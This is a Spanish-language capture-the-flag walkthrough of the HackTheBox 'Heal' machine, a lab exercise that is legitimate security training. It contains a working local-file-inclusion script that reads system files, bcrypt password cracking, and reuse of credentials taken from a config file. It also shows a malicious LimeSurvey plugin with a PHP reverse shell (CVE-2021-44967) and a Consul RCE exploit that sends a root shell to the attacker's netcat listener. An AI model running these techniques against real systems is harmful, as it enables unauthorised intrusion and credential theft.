Heal – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Heal” es una máquina de dificultad Media de la plataforma HackTheBox
. Luego de buscar por subdominions y directorios en ellos, encontramos un aplicativo con una función la cual nos permite descargar archivos desde la web objetivo. Esta función es vulnerable Local File Inclusion
. Esto nos permite leer archivos del sistema y eventualmente nos permite conocer la existencia de un archivo de bases de datos en el sistema. Podemos descargar esta base de datos usando esta vulnerabilidad, para hallar así una contraseña para un panel de LimeSurvey
. Este panel es vulnerable a CVE-2021-44967, el cual es vulnerable a Remote Code Execution
con un usuario autenticado. Abusando de esta vulnerabilidad, ganamos acceso a la máquina víctima donde encontramos un archivo de confgiuración con una contraseña. Esta contraseña es utilizada por uno de los usuarios en el sistema, lo cual nos permite ganar acceso como este usuario. Ya dentro de la máquina víctima, podemos ver un servicio interno corriendo Consul
. Este software está corriendo uan versión vulnerable a otro exploit, el cual es vulnerable a Remote Code Execution
. Luego de establecer un túnel para acceder a este servicio interno, utilizamos el exploit mencionado para atacar este servicio y así ganar acceso como root
, comprometiendo así la máquina víctima.
User / Usuario Link to heading
Empezamos con un escaneo con Nmap
buscando por puertos TCP
abiertos en la máquina víctima:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.46
Sólo encontramos dos puertos abiertos: 22
SSH
y 80
HTTP
.
Aplicando algunos scripts de reconocimiento usando la flag -sVC
sobre estos puertos encontramos:
❯ sudo nmap -sVC -p22,80 10.10.11.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 01:06 -03
Nmap scan report for 10.10.11.46
Host is up (0.49s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.89 seconds
Del output podemos ver un dominio: heal.htb
Agregamos este dominio a nuestro archivo /etc/hosts
en nuestra máquina de atacantes, ejecutando en una terminal:
❯ echo '10.10.11.46 heal.htb' | sudo tee -a /etc/hosts
Visitando entonces http://heal.htb
muestra una página web con un panel de login:
El sitio dice que es una página web para crear Resumes (el resumen de la carrera profesional de una persona) de manera rápida.
Si intentamos crear una cuenta en esta página encontramos un error el cual no nos deja crear una aparentemente:
Pero si vamos a la página principal, recargamos la página y pasamos las credenciales de nuestro usuario recién creado, sí funcionan. Ahora podemos ver:
Si agragamos información la página crea un PDF el cual es, como dice la página, un Resume:
En la página de Resume Builder
(ya logueados con nuestra cuenta), hay un botón de Survey
. Clickeando en este nos redirige a la ruta http://heal.htb/survey
:
Si vemos a dónde nos redirige el botón Take the Survey
, éste nos redirige al subdominio take-survey.heal.htb
. Agregamos este subdominio a nuestro archivo /etc/hosts
, por lo que ahora este se ve como:
❯ tail -n 1 /etc/hosts
10.10.11.46 heal.htb take-survey.heal.htb
Una vez agregado, podemos clickear en el botón Take the Survey
. La página presenta una simple encuesta (survey):
Pero si visitamos http://take-survey.heal.htb/
ahora podemos ver algo de información:
El sitio web se encuentra corriendo LimeSurvey
:
LimeSurvey
is an online survey tool to quickly create questionnaires, poll votes & surveys.Tenemos un contacto ralph@heal.htb
, quien debería de ser el administrador/encargado de la página de encuestas.
Buscando por directorios a través de un Brute Force Directory Listing
con Gobuster
en esta página muestra algunos:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://take-survey.heal.htb/ -x php -t 20 -s 200,301 -b ''
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://take-survey.heal.htb/
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 301,200
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 75816]
/admin (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/plugins (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/plugins/]
===============================================================
Finished
===============================================================
Podemos ver un directorio /admin
. Visitando http://take-survey.heal.htb/admin
muestra un nuevo panel de login:
Pero no tenemos credenciales. Por lo que podríamos volver a este sitio web luego.
Además, podemos buscar por vhosts
usando ffuf
y un diccionario de SecLists
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://heal.htb -H 'Host: FUZZ.heal.htb' -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
api [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 247ms]
:: Progress: [19966/19966] :: Job [1/1] :: 153 req/sec :: Duration: [0:02:09] :: Errors: 0 ::
Encontramos un subdominio: api.heal.htb
.
Agregamos este nuevo subdominio a nuestro archivo /etc/hosts
, por lo que ahora éste se ve como:
❯ tail -n 1 /etc/hosts
10.10.11.46 heal.htb take-survey.heal.htb api.heal.htb
Visitando http://api.heal.htb
muestra:
El sitio está corriendo Ruby on Rails
. Pero nada más allá de esto.
De vuelta a la página de Resume Builder
con nuestra cuenta creada, interceptamos la petición al intentar crear el archivo PDF
. Interceptamos con la petición enviada Burpsuite
y seleccionamos la opción Do intercept -> Response to this request
, clickeando Forward
algunas veces hasta obtener una petición la cual muestra el archivo a descargar:
Luego de clickear algunas veces en Forward
encontramos la siguiente petición GET
que es la que se encarga de descargar el archivo:
GET /download?filename=<FILENAME>.pdf HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/
Donde filename
es un archivo random PDF el cual es guardado en nuestra máquina de atacantes. Si cambiamos el parámetro filename
a ../../../../../../../etc/passwd
para ver si tenemos una vulnerabilidad Local File Inclusion
(LFI
) obtenemos una respuesta:
Por lo que este parámetro es vulnerable a LFI
.
Podemos crear un simple script de Python
para leer distintos archivos del sistema. Para ello sólo necesitamos la cookie de sesión de nuestro usuario creado, más espefíciamente su Jason Web Token
(JWT
):
import requests
import argparse
from sys import exit as sys_exit
# URL containing LFI vulnerability
url: str = "http://api.heal.htb:80/download?filename="
def parse_arguments()->argparse.Namespace:
"""
Get arguments from user
"""
parser = argparse.ArgumentParser(description="LFI script for HTB Heal machine.")
# Add optional arguments with flags
parser.add_argument("-f", "--file", type=str, help="Absolute path to file to read through LFI", required=True)
parser.add_argument("--jwt", type=str, help="Jason Web Token session", required=True)
# Return the parsed arguments
return parser.parse_args()
def read_file(args:argparse.Namespace)->None:
"""
LFI exploit
"""
lfi_url = url + args.file
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Authorization": f"Bearer {args.jwt}",
"Origin": "http://heal.htb",
"DNT": "1", "Connection": "close",
"Referer": "http://heal.htb/"}
r = requests.get(lfi_url, headers=headers)
if r.status_code == 404:
print(f"[-] File {args.file!r} not found")
sys_exit(1)
if r.status_code != 200:
print(f"[-] Invalid status code: {r.status_code}")
sys_exit(1)
print(r.text)
def main()->None:
# Get arguments from user
args = parse_arguments()
# Execute Local File Inclusion
read_file(args)
if __name__ == "__main__":
main()
Probamos este script, pasando como argumentos el archivo a leer a través del LFI
(utilizando ..
para retroceder de directorios en Linux
) y el valor del JWT
de nuestra sesión de usuario:
❯ python3 lfi.py -f '../../../../../../etc/passwd' --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
<SNIP>
Funciona.
Filtrando por potenciales usuarios, excluyendo los usuarios root
y postgres
, tenemos 2 usuarios:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../etc/passwd' | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ron:x:1001:1001:,,,:/home/ron:/bin/bash
ralph
y ron
son nuevos usuarios.
No somos capaces de leer keys de SSH
para estos usuarios:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ralph/.ssh/id_rsa'
[-] File '../../../../../../home/ralph/.ssh/id_rsa' not found
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../../../../../home/ron/.ssh/id_rsa'
[-] File '../../../../../../home/ron/.ssh/id_rsa' not found
Probablemente porque no existen, o bien porque no tenemos permisos de lectura sobre estos archivos.
Ahora bien, dado que http://api.heal.htb
estaba corriendo en Ruby on Rails
podemos revisar sus archivos de configuración. Basados en esto, el archivo config/application.rb
debería existir. Luego de jugar con algunos paths, eventualmente encontramos el archivo de configuración de Ruby On Rails
:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/application.rb'
require_relative "boot"
require "rails/all"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module ResumeApi
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 7.1
# Please, add to the `ignore` list any other `lib` subdirectories that do
# not contain `.rb` files, or that should not be reloaded or eager loaded.
# Common ones are `templates`, `generators`, or `middleware`, for example.
config.autoload_lib(ignore: %w(assets tasks))
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Only loads a smaller set of middleware suitable for API only apps.
# Middleware like session, flash, cookies can be added back manually.
# Skip views, helpers and assets when generating a new resource.
config.api_only = true
end
end
Luego de leer la documentación, encontramos los archivos para configurar una base de datos, donde deberíamos de encontrar un archivo config/database.yml
. Tratando de leer este archivo obtenemos:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../config/database.yml'
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
Tenemos 2 archivos de bases de datos siendo utilizados: storage/test.sqlite3
y storage/development.sqlite3
.
Tratando de leer estos archivos obtenemos caracteres ilegibles:
❯ python3 lfi.py --jwt 'eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -f '../../storage/development.sqlite3'
¿QLite format 3@ .vä
}„(÷
„
∫ÅT55ÇKtablear_internal_metadataar_internal_metadataCREATE TABLE "ar_internal_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL)G[5indexsqlite_autoindex_ar_internal_metadata_1ar_internal_metadatx//
<SNIP>
07:49:07.2690482024-09-27 07:49:07.269049O##AAenvironmentdevelopment2024-09-27 07:49:07.2666762024-09-27 07:49:07.266679
·Ò·#schema_sha1# environment
Dado que el la función original estaba diseñada para descargar un archivo (Resumee de PDF
), volvemos a Burpsuite
y interceptamos la petición que trata de descargar el archivo nuevamente. Sólo que esta vez tratamos de descargar los archivos de bases de datos:
GET /download?filename=../../storage/development.sqlite3 HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: close
Referer: http://heal.htb/
LFI
a base64
. Luego, podemos decodear el contenido desde base64
a un archivo en nuestra máquina víctima. Lo dejo como idea para el lector (:Descargamos así un supuesto archivo .pdf
, pero si revisamos su contenido éste es en realidad un archivo de SQLite
:
❯ file ~/Downloads/4fbf8c3e57d43f60461c.pdf
/home/gunzf0x/Downloads/4fbf8c3e57d43f60461c.pdf: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2
Renombramos este archivo y lo abrimos usando SQLite
:
❯ mv ~/Downloads/4fbf8c3e57d43f60461c.pdf ./development.sqlite3
❯ sqlite3 development.sqlite3
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite>
En la base de datos tenemos una table de users
. Extraemos algo de información de esta base de datos:
sqlite> .tables
ar_internal_metadata token_blacklists
schema_migrations users
sqlite> PRAGMA table_info(users);
0|id|INTEGER|1||1
1|email|varchar|0||0
2|password_digest|varchar|0||0
3|created_at|datetime(6)|1||0
4|updated_at|datetime(6)|1||0
5|fullname|varchar|0||0
6|username|varchar|0||0
7|is_admin|boolean|0||0
sqlite> select email,username,is_admin,password_digest from users;
ralph@heal.htb|ralph|1|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
gunzf0x@gunzf0x.htb|gunzf0x|0|$2a$12$8xVXNUtPJhaHR1.kFl7h0uA.6KO6LrRkub9/uPA3brg0x20KeWgwe
Tenemos un hash para el usuario ralph
.
Guardamos el hash del usuario ralph
en un archivo llamado ralph_hash
y lo tratamos de crackear a través de un Brute Force Password Cracking
con la herramienta john
junto con el diccionario rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt ralph_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
147258369 (?)
1g 0:00:00:12 DONE (2024-12-21 02:42) 0.07770g/s 38.46p/s 38.46c/s 38.46C/s single..147258
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña: 147258369
.
Revisamos si esta contraseña funciona para el usuario ralph
para el servicio SSH
, dado que como hemos visto anteriormente, este usuario existe en la máquina. Para esto utilizamos la herramienta NetExec
:
❯ nxc ssh 10.10.11.46 -u 'ralph' -p '147258369'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [-] ralph:147258369
Lamentablemente esto la contraseña no sirve.
¿Pero qué tal acerca del panel de login de encuestas (LimeSurvey
)? Podemos ir al panel de administrador en http://take-survey.heal.htb/admin
y usar las credenciales ralph@heal.htb
y contraseña 147258369
. Funcionan y estamos dentro:
Al final de este panel podemos ver información de LimeSurvey
: LimeSurvey Community Edition Version 6.6.4
.
Buscando por exploits para esta versión encontramos este exploit en Github el cual es un Remote Code Execution
(RCE
, o ejecución remota de comandos) usando una vulnerabilidad catalogada como CVE-2021-44967. Como tenemos credenciales esto debería de funcionar. Necesitamos editar el archivo config.xml
para que el exploit funcione. Agregamos la línea <version>6.0</version>
a éste y retocamos algunos detalles; viéndose este archivo como:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>gunzf0x</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>gunzf0x</author>
<authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
<supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : gunzf0x`></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Donde, recalco nuevamente, hemos agregado la línea <version>6.0</version>
.
Adicionalmente, necesitamos editar las primeras líneas de php-rev.php
para que establezca una conexión a nuestra máquina de atacantes. Cambiamos las primeras líneas a:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.4'; // CHANGE THIS
$port = 443; // CHANGE THIS
<SNIP>
Donde 10.10.16.4
es nuestra IP de atacantes y 443
el puerto en el cual nos pondremos en escucha con netcat
para recibir una reverse shell.
Comprimimos ambos archivos a subir en un archivo zip
:
❯ zip gunzf0x_exploit config.xml php-rev.php
adding: config.xml (deflated 57%)
adding: php-rev.php (deflated 61%)
Empezamos un listener con netcat
en el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Luego, simplemente seguimos instrucciones del repositorio del exploit. Vamos a Configuration
, luego a Plugins
y clickeamos en Upload & Install
.Instalamos así el archivo zip
malicioso generado. Una vez instalado, podemos ver que nuestro plugin está allí:
Clickeamos en ...
en nuestro plugin agregado, y seleccionamos Activate
. Luego, simplemente visitamos http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php
. En mi caso hago esto con cURL
en una consola:
❯ curl -s http://take-survey.heal.htb/upload/plugins/gunzf0x/php-rev.php
Y en nuestro listener con nc
obtenemos una conexión como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 42780
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
06:26:33 up 2:32, 0 users, load average: 0.02, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Luego de buscar por algunas passwords en el directorio /var/www
(y luego de algunos filtros) encontramos:
www-data@heal:~/limesurvey$ grep -ir 'password' . 2>/dev/null | grep -vE '\.js|remix|tmp|\.css|release|\.lss' | grep 'config' | grep '\$'
./vendor/phpmailer/phpmailer/src/DSNConfigurator.php: $mailer->Password = $config['pass'];
./application/commands/InstallFromConfigCommand.php: 'password' => password_hash((string) $this->configuration['config']['defaultpass'], PASSWORD_DEFAULT),
./application/core/LSYii_Application.php: $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/core/ConsoleApplication.php: $this->config['emailsmtppassword'] = LSActiveRecord::encryptSingle($this->config['emailsmtppassword']);
./application/config/config.php: 'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
./application/config/config.php: 'password' => 'AdmiDi0_pA$$w0rd',
./application/config/email.php:$config['emailsmtpuser'] = ''; // SMTP authorisation username - only set this if your server requires authorization - if you set it you HAVE to set a password too
<SNIP>
Hay un archivo /var/www/limesurvey/application/config/config.php
el cual contiene una contraseña:
www-data@heal:~/limesurvey$ cat ./application/config/config.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
<SNIP>
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
<SNIP>
Tenemos una contraseña para una base de datos PostgreSQL
: AdmiDi0_pA$$w0rd
.
Revisamos si esta contraseña funciona para los usuarios ralph
o ron
con NetExec
por SSH
:
❯ nxc ssh 10.10.11.46 -u 'ralph' -p 'AdmiDi0_pA$$w0rd'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [-] ralph:AdmiDi0_pA$$w0rd
❯ nxc ssh 10.10.11.46 -u 'ron' -p 'AdmiDi0_pA$$w0rd'
SSH 10.10.11.46 22 10.10.11.46 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.46 22 10.10.11.46 [+] ron:AdmiDi0_pA$$w0rd Linux - Shell access!
Estas credenciales funcionan para el usuario ron
. Tenemos credenciales: ron:AdmiDi0_pA$$w0rd
.
Nos conectamos a la máquina víctima como el usuario ron
a través del servicio SSH
:
❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no ron@10.10.11.46
<SNIP>
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
ron@heal:~$
Finalmente podemos leer la flag de usuario.
Root Link to heading
Revisando puertos internos abiertos vemos que hay muchos que desconocemos:
ron@heal:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Revisamos si alguno de ellos es un sitio web utilizando cURL
contra estos. Si obtenemos una respuesta esto puede significar que sean sitios webs internos. Para este propósito ejecutamos un simple oneliner en Bash
:
ron@heal:~$ for port in 3000 3001 5432 8300 8301 8302 8500 8503 8600; do echo "[+] Requesting port $port"; curl -s "http://127.0.0.1:$port" | head -n 5; done
[+] Requesting port 3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1" />
[+] Requesting port 3001
[+] Requesting port 5432
[+] Requesting port 8300
[+] Requesting port 8301
[+] Requesting port 8302
[+] Requesting port 8500
<a href="/ui/">Moved Permanently</a>.
[+] Requesting port 8503
[+] Requesting port 8600
Los puertos 3000
y 8500
muestran respuestas, por lo que podrían ser sitios web internos.
Salimos de nuestra sesión actual de SSH
y nos reconectamos, pero esta vez estableciendo un Local Port Forwarding
para convertir tanto el puerto 3000
de la máquina víctima en nuestro puerto 3000
como el puerto 8500
de la máquina víctima en nuestro puerto 8500
:
❯ sshpass -p 'AdmiDi0_pA$$w0rd' ssh -o stricthostkeychecking=no -L 3000:127.0.0.1:3000 -L 8500:127.0.0.1:8500 ron@10.10.11.46
Esto nos debería de permitir tener acceso a estos puertos internos.
Yendo a un navegador de internet http://127.0.0.1:3000
siomplemente muestra un sitio web idéntico a http://heal.htb
. Pero si visitamos http://127.0.0.1:8500
obtenemos:
El sitio web está corriendo Consul
, más específicamente su versión v1.19.2
como podemos ver en la parte inferior izquierda de esta página.
Consul
is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.Este servicio está siendo ejecutado por root
, tal cual se puede ver si chequeamos los procesos corriendo en la máquina víctima:
ron@heal:~$ ps aux | grep root | grep consul
root 982 0.5 2.7 1357476 108528 ? Ssl 03:54 1:02 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
Buscando por consul exploit
nos retorna el siguiente exploit de exploit-db
. Lo descargamos como exploit.py
y lo ejecutamos:
❯ python3 exploit.py
[-] Usage: python3 exploit.py <rhost> <rport> <lhost> <lport> <acl_token>
En único parámetro el cual desconocemos qué es, es <acl_token>
.
Buscando por acl token consul
encontramos su página para desarrolladores. Básicamente, es el token para loguear en la aplicación. Dado que no tenemos ninguno, asumo que su valor será alguno para una “null session”, sesión de invitado o similar. Por lo que, probando, pasamos 0
como <acl_token>
. Podemos encontrar más información acerca de tokens como anonymous
aquí. Ya con toda esta información, y luego de empezar un nuevo listener con netcat
por el puerto 443
, simplemente ejecutamos el exploit:
❯ python3 exploit.py 127.0.0.1 8500 10.10.16.4 443 0
[+] Request sent successfully, check your listener
Donde 127.0.0.1
es nuestro localhost -el cual está albergando Consul
gracias al Local Port Forwarding
-, 8500
es el puerto para el servicio a través del túnel, 10.10.16.4
es nuestra máquina de atacantes (la dirección IP a la cual queremos enviar una reverse shell una vez se ejecute el exploit), 443
es nuestro puerto en escucha con netcat
y 0
es el valor del acl_token
.
Luego de algunos segundos ejecutado el exploit, obtenemos una shell como el usuario root
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.46] 38294
bash: cannot set terminal process group (9195): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# whoami
whoami
root
GG. Podemos leer la flag de root
en el directorio /root
.
~Happy Hacking.